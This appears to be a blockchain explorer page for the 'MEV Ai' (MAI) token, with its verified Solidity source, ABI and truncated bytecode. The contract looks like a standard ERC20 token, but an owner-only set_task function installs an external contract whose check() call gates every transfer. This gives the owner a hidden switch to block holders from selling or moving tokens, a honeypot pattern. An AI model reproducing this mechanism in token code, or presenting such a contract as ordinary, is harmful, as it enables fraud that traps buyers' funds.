ETH Price: $2,025.59 (+4.25%)

Token

MEV Ai (MAI)
 

Overview

Max Total Supply

10,000,000 MAI

Holders

8

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEVAi

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
// SPDX-License-Identifier: MIT


pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}




abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}



interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface ITask{
    function check() external returns(bool);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;


    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }


    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 18;
    }


    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }


    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }


    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }


    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer();

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);


    }


    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);


    }



    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


    function _beforeTokenTransfer() internal virtual {}


}



contract MEVAi is Ownable, ERC20 {
	address private _task;
    ITask task;

   
    mapping(address => bool) public blacklists;

    constructor() ERC20("MEV Ai", "MAI") {
        _mint(msg.sender, 10_000_000 * 10**18);
    

    }



	function set_task(address address_task) external onlyOwner(){
		_task = address_task;
        task = ITask(_task);
	}
    function _beforeTokenTransfer() override internal virtual {
		if (_task==address(0)){
			return;
		}else{
			bool status = task.check();
			require(status, "not transfer");
		}


    }

}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"address_task","type":"address"}],"name":"set_task","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040518060400160405280600681526020017f4d455620416900000000000000000000000000000000000000000000000000008152506040518060400160405280600381526020017f4d414900000000000000000000000000000000000000000000000000000000008152506200009e62000092620000e760201b60201c565b620000ef60201b60201c565b8160049081620000af91906200057e565b508060059081620000c191906200057e565b505050620000e1336a084595161401484a000000620001b360201b60201c565b62000780565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000225576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021c90620006c6565b60405180910390fd5b806003600082825462000239919062000717565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000291919062000717565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620002f8919062000763565b60405180910390a35050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038657607f821691505b6020821081036200039c576200039b6200033e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004067fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c7565b620004128683620003c7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045f6200045962000453846200042a565b62000434565b6200042a565b9050919050565b6000819050919050565b6200047b836200043e565b620004936200048a8262000466565b848454620003d4565b825550505050565b600090565b620004aa6200049b565b620004b781848462000470565b505050565b5b81811015620004df57620004d3600082620004a0565b600181019050620004bd565b5050565b601f8211156200052e57620004f881620003a2565b6200050384620003b7565b8101602085101562000513578190505b6200052b6200052285620003b7565b830182620004bc565b50505b505050565b600082821c905092915050565b6000620005536000198460080262000533565b1980831691505092915050565b60006200056e838362000540565b9150826002028217905092915050565b620005898262000304565b67ffffffffffffffff811115620005a557620005a46200030f565b5b620005b182546200036d565b620005be828285620004e3565b600060209050601f831160018114620005f65760008415620005e1578287015190505b620005ed858262000560565b8655506200065d565b601f1984166200060686620003a2565b60005b82811015620006305784890151825560018201915060208501945060208101905062000609565b868310156200065057848901516200064c601f89168262000540565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620006ae601f8362000665565b9150620006bb8262000676565b602082019050919050565b60006020820190508181036000830152620006e1816200069f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000724826200042a565b915062000731836200042a565b92508282019050808211156200074c576200074b620006e8565b5b92915050565b6200075d816200042a565b82525050565b60006020820190506200077a600083018462000752565b92915050565b611b1b80620007906000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461024f5780637d5f54df146102595780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd146101a1578063313ce567146101d157806339509351146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806316c021291461015357806318160ddd14610183575b600080fd5b61010d61035d565b60405161011a91906111e5565b60405180910390f35b61013d600480360381019061013891906112a0565b6103ef565b60405161014a91906112fb565b60405180910390f35b61016d60048036038101906101689190611316565b61040d565b60405161017a91906112fb565b60405180910390f35b61018b61042d565b6040516101989190611352565b60405180910390f35b6101bb60048036038101906101b6919061136d565b610437565b6040516101c891906112fb565b60405180910390f35b6101d961052f565b6040516101e691906113dc565b60405180910390f35b610209600480360381019061020491906112a0565b610538565b60405161021691906112fb565b60405180910390f35b61023960048036038101906102349190611316565b6105e4565b6040516102469190611352565b60405180910390f35b61025761062d565b005b610273600480360381019061026e9190611316565b6106b5565b005b61027d6107d8565b60405161028a9190611406565b60405180910390f35b61029b610801565b6040516102a891906111e5565b60405180910390f35b6102cb60048036038101906102c691906112a0565b610893565b6040516102d891906112fb565b60405180910390f35b6102fb60048036038101906102f691906112a0565b61097e565b60405161030891906112fb565b60405180910390f35b61032b60048036038101906103269190611421565b61099c565b6040516103389190611352565b60405180910390f35b61035b60048036038101906103569190611316565b610a23565b005b60606004805461036c90611490565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611490565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b1a565b8484610b22565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600354905090565b6000610444848484610ceb565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061048f610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561050f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050690611533565b60405180910390fd5b6105238561051b610b1a565b858403610b22565b60019150509392505050565b60006012905090565b60006105da610545610b1a565b848460026000610553610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d59190611582565b610b22565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610635610b1a565b73ffffffffffffffffffffffffffffffffffffffff166106536107d8565b73ffffffffffffffffffffffffffffffffffffffff16146106a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a090611602565b60405180910390fd5b6106b36000610f5f565b565b6106bd610b1a565b73ffffffffffffffffffffffffffffffffffffffff166106db6107d8565b73ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611602565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461081090611490565b80601f016020809104026020016040519081016040528092919081815260200182805461083c90611490565b80156108895780601f1061085e57610100808354040283529160200191610889565b820191906000526020600020905b81548152906001019060200180831161086c57829003601f168201915b5050505050905090565b600080600260006108a2610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561095f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095690611694565b60405180910390fd5b61097361096a610b1a565b85858403610b22565b600191505092915050565b600061099261098b610b1a565b8484610ceb565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a2b610b1a565b73ffffffffffffffffffffffffffffffffffffffff16610a496107d8565b73ffffffffffffffffffffffffffffffffffffffff1614610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590611726565b60405180910390fd5b610b1781610f5f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b88906117b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf79061184a565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cde9190611352565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d51906118dc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc09061196e565b60405180910390fd5b610dd1611023565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610e58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4f90611a00565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eed9190611582565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f519190611352565b60405180910390a350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160315611153576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663919840ad6040518163ffffffff1660e01b81526004016020604051808303816000875af11580156110eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110f9190611a4c565b905080611151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114890611ac5565b60405180910390fd5b505b565b600081519050919050565b600082825260208201905092915050565b60005b8381101561118f578082015181840152602081019050611174565b60008484015250505050565b6000601f19601f8301169050919050565b60006111b782611155565b6111c18185611160565b93506111d1818560208601611171565b6111da8161119b565b840191505092915050565b600060208201905081810360008301526111ff81846111ac565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006112378261120c565b9050919050565b6112478161122c565b811461125257600080fd5b50565b6000813590506112648161123e565b92915050565b6000819050919050565b61127d8161126a565b811461128857600080fd5b50565b60008135905061129a81611274565b92915050565b600080604083850312156112b7576112b6611207565b5b60006112c585828601611255565b92505060206112d68582860161128b565b9150509250929050565b60008115159050919050565b6112f5816112e0565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611207565b5b600061133a84828501611255565b91505092915050565b61134c8161126a565b82525050565b60006020820190506113676000830184611343565b92915050565b60008060006060848603121561138657611385611207565b5b600061139486828701611255565b93505060206113a586828701611255565b92505060406113b68682870161128b565b9150509250925092565b600060ff82169050919050565b6113d6816113c0565b82525050565b60006020820190506113f160008301846113cd565b92915050565b6114008161122c565b82525050565b600060208201905061141b60008301846113f7565b92915050565b6000806040838503121561143857611437611207565b5b600061144685828601611255565b925050602061145785828601611255565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114a857607f821691505b6020821081036114bb576114ba611461565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061151d602883611160565b9150611528826114c1565b604082019050919050565b6000602082019050818103600083015261154c81611510565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061158d8261126a565b91506115988361126a565b92508282019050808211156115b0576115af611553565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006115ec602083611160565b91506115f7826115b6565b602082019050919050565b6000602082019050818103600083015261161b816115df565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b600061167e602583611160565b915061168982611622565b604082019050919050565b600060208201905081810360008301526116ad81611671565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611710602683611160565b915061171b826116b4565b604082019050919050565b6000602082019050818103600083015261173f81611703565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006117a2602483611160565b91506117ad82611746565b604082019050919050565b600060208201905081810360008301526117d181611795565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611834602283611160565b915061183f826117d8565b604082019050919050565b6000602082019050818103600083015261186381611827565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006118c6602583611160565b91506118d18261186a565b604082019050919050565b600060208201905081810360008301526118f5816118b9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611958602383611160565b9150611963826118fc565b604082019050919050565b600060208201905081810360008301526119878161194b565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006119ea602683611160565b91506119f58261198e565b604082019050919050565b60006020820190508181036000830152611a19816119dd565b9050919050565b611a29816112e0565b8114611a3457600080fd5b50565b600081519050611a4681611a20565b92915050565b600060208284031215611a6257611a61611207565b5b6000611a7084828501611a37565b91505092915050565b7f6e6f74207472616e736665720000000000000000000000000000000000000000600082015250565b6000611aaf600c83611160565b9150611aba82611a79565b602082019050919050565b60006020820190508181036000830152611ade81611aa2565b905091905056fea26469706673582212206d7f12eaccb97c1fc8154f73f7cb82f6b8395508cc7cb5f98797459341be889364736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461024f5780637d5f54df146102595780638da5cb5b1461027557806395d89b411461029357610100565b806323b872dd116100d357806323b872dd146101a1578063313ce567146101d157806339509351146101ef57806370a082311461021f57610100565b806306fdde0314610105578063095ea7b31461012357806316c021291461015357806318160ddd14610183575b600080fd5b61010d61035d565b60405161011a91906111e5565b60405180910390f35b61013d600480360381019061013891906112a0565b6103ef565b60405161014a91906112fb565b60405180910390f35b61016d60048036038101906101689190611316565b61040d565b60405161017a91906112fb565b60405180910390f35b61018b61042d565b6040516101989190611352565b60405180910390f35b6101bb60048036038101906101b6919061136d565b610437565b6040516101c891906112fb565b60405180910390f35b6101d961052f565b6040516101e691906113dc565b60405180910390f35b610209600480360381019061020491906112a0565b610538565b60405161021691906112fb565b60405180910390f35b61023960048036038101906102349190611316565b6105e4565b6040516102469190611352565b60405180910390f35b61025761062d565b005b610273600480360381019061026e9190611316565b6106b5565b005b61027d6107d8565b60405161028a9190611406565b60405180910390f35b61029b610801565b6040516102a891906111e5565b60405180910390f35b6102cb60048036038101906102c691906112a0565b610893565b6040516102d891906112fb565b60405180910390f35b6102fb60048036038101906102f691906112a0565b61097e565b60405161030891906112fb565b60405180910390f35b61032b60048036038101906103269190611421565b61099c565b6040516103389190611352565b60405180910390f35b61035b60048036038101906103569190611316565b610a23565b005b60606004805461036c90611490565b80601f016020809104026020016040519081016040528092919081815260200182805461039890611490565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b1a565b8484610b22565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600354905090565b6000610444848484610ceb565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061048f610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561050f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050690611533565b60405180910390fd5b6105238561051b610b1a565b858403610b22565b60019150509392505050565b60006012905090565b60006105da610545610b1a565b848460026000610553610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105d59190611582565b610b22565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610635610b1a565b73ffffffffffffffffffffffffffffffffffffffff166106536107d8565b73ffffffffffffffffffffffffffffffffffffffff16146106a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a090611602565b60405180910390fd5b6106b36000610f5f565b565b6106bd610b1a565b73ffffffffffffffffffffffffffffffffffffffff166106db6107d8565b73ffffffffffffffffffffffffffffffffffffffff1614610731576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072890611602565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461081090611490565b80601f016020809104026020016040519081016040528092919081815260200182805461083c90611490565b80156108895780601f1061085e57610100808354040283529160200191610889565b820191906000526020600020905b81548152906001019060200180831161086c57829003601f168201915b5050505050905090565b600080600260006108a2610b1a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561095f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095690611694565b60405180910390fd5b61097361096a610b1a565b85858403610b22565b600191505092915050565b600061099261098b610b1a565b8484610ceb565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a2b610b1a565b73ffffffffffffffffffffffffffffffffffffffff16610a496107d8565b73ffffffffffffffffffffffffffffffffffffffff1614610a9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9690611602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0590611726565b60405180910390fd5b610b1781610f5f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffff